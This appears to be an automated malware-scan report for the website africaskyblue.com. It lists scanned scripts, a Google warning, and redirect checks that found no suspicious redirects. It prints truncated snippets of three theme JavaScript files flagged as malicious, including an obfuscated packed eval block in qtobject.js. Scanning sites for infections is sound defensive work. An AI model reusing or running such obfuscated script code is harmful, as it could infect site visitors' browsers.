Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=africaskyblue.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.africaskyblue.com/ | 200 OK Content-Length: 53917 Content-Type: text/html | clean |
http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js?ver=1.3.2 | 200 OK Content-Length: 57254 Content-Type: text/javascript | clean |
http://www.africaskyblue.com/wp-content/plugins/mailchimp/js/scrollTo.js?ver=1.2.14 | 200 OK Content-Length: 2262 Content-Type: application/x-javascript | clean |
http://www.africaskyblue.com/wp-includes/js/jquery/jquery.form.min.js?ver=3.37.0 | 200 OK Content-Length: 14720 Content-Type: application/x-javascript | clean |
http://www.africaskyblue.com/wp-content/plugins/mailchimp/js/mailchimp.js?ver=1.2.14 | 200 OK Content-Length: 994 Content-Type: application/x-javascript | clean |
http://www.africaskyblue.com/wp-includes/js/jquery/ui/jquery.ui.core.min.js?ver=1.10.3 | 200 OK Content-Length: 4289 Content-Type: application/x-javascript | clean |
http://www.africaskyblue.com/wp-content/plugins/mailchimp//js/datepicker.js?ver=3.8.5 | 200 OK Content-Length: 75876 Content-Type: application/x-javascript | clean |
http://www.africaskyblue.com/wp-content/themes/OptimizePress/js/js_cookie.js?ver=1.0 | 200 OK Content-Length: 1991 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function setCookie(c_name,value,expiredays) { var exdate=new Date(); var dpath = '/'; exdate.setDate(exdate.getDate()+expiredays); document.cookie=c_name+ "=" +escape(value)+ ((expiredays==null) ? "" : ";expires="+exdate.toUTCString())+";path="+dpath; } function getCookie(c_name) { if (document.cookie.length>0) { c_start=document.cookie.indexOf(c_name + "="); if (c_start!=-1) { c_start=c_start + c_name.length+1; Antivirus reports:
| ||
http://www.africaskyblue.com/wp-content/plugins/buy-this-book/buybook.js?ver=3.8.5 | 200 OK Content-Length: 337 Content-Type: application/x-javascript | clean |
http://www.africaskyblue.com/wp-content/themes/OptimizePress/js/cufon-yui.js | 200 OK Content-Length: 40829 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var Cufon = (function() { var api = function() { return api.replace.apply(null, arguments); }; var DOM = api.DOM = { ready: (function() { var complete = false, readyStatus = { loaded: 1, complete: 1 }; var queue = [], perform = function() { if (complete) return; complete = true; for (var fn; fn = queue.shift(); fn()); }; if (document.addEventListener) { document.addEventListener('DOMContentLoaded', per Antivirus reports:
| ||
http://www.africaskyblue.com/wp-content/themes/OptimizePress/js/qtobject.js | 200 OK Content-Length: 3732 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[(function(e){return d[e]})];e=(function(){return'\\w+'});c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7=5(14,b,w,h){2.A=14;2.b=b;2.l=w;2.n=h;2.H="";2.12=c.N.13.1f("?")[1]||"";2.F="1A 1h 1p 1j x 1W. <a 11=\'1l://1U.1m.1S/Y/1q/\'>1Q x 1b</a>.";2.K="< Antivirus reports:
| ||
http://s0.wp.com/wp-content/js/devicepx-jetpack.js?ver=201503 | 200 OK Content-Length: 9301 Content-Type: application/x-javascript | clean |
http://s.gravatar.com/js/gprofiles.js?ver=2015Janaa | 200 OK Content-Length: 21442 Content-Type: application/x-javascript | clean |
http://www.africaskyblue.com/wp-content/plugins/jetpack/modules/wpgroho.js?ver=3.8.5 | 200 OK Content-Length: 930 Content-Type: application/x-javascript | clean |
http://www.africaskyblue.com/wp-content/plugins/pricing-table/js/site/jquery.tipTip.minified.js?ver=3.8.5 | 200 OK Content-Length: 5251 Content-Type: application/x-javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: africaskyblue.com
Result:
GET / HTTP/1.1
Host: africaskyblue.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: africaskyblue.com
Referer: http://www.google.com/search?q=africaskyblue.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: africaskyblue.com
Referer: http://www.google.com/search?q=africaskyblue.com
Result:
The result is similar to the first query. There are no suspicious redirects found.